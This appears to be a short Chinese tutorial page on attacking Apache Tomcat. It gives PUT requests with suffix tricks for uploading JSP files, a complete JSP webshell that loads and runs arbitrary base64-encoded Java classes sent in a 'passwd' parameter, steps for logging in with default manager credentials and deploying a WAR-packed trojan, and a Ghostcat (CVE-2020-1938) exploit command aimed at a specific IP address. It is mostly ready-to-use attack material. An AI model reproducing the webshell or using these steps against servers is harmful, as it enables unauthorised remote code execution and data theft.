赞
踩
漏洞描述
当 Tomcat运行在Windows操作系统时,且启用了HTTPPUT请求方法(例如,将readonly初始化参数由默认值设置为false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的JSP 文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。
Tomcat put方法任意文件写入漏洞
Tomcat允许适用put方法上传任意文件类型,但不允许jsp后缀文件上传,因此我们需要配合 windows的解析漏洞
PUT /shell.jsp%20
PUT /shell.jsp::$DATA
PUT /shell.jsp/
密码:passwd
- <%!
- class U extends ClassLoader {
- U(ClassLoader c) {
- super(c);
- }
- public Class g(byte[] b) {
- return super.defineClass(b, 0, b.length);
- }
- }
-
- public byte[] base64Decode(String str) throws Exception {
- try {
- Class clazz = Class.forName("sun.misc.BASE64Decoder");
- return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
- } catch (Exception e) {
- Class clazz = Class.forName("java.util.Base64");
- Object decoder = clazz.getMethod("getDecoder").invoke(null);
- return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
- }
- }
- %>
- <%
- String cls = request.getParameter("passwd");
- if (cls != null) {
- new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
- }
- %>
在tomcat8环境下默认进入后台的密码为 tomcat/tomcat,未修改造成未授权即可进入后台,或者管理员把密码设置成弱口令。
输入账号密码
账号密码:tomcat
制作WAR包,将JSP木马压缩为ZIP格式,然后修改后缀为war就可以了
/shell/1.jsp
Tomcat文件包含漏洞
tomcat默认的conf/server.xml中配置了2个Connector,一个为 8080 的对外提供的HTTP协议端口,另外一个就是默认的 8009 AJP协议端口,两个端口默认均监听在外网ip。
python2 Tomcat-ROOT路径下文件包含(CVE-2020-1938).py -p 8009 -f /WEB-INF/web.xml 124.221.58.83
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。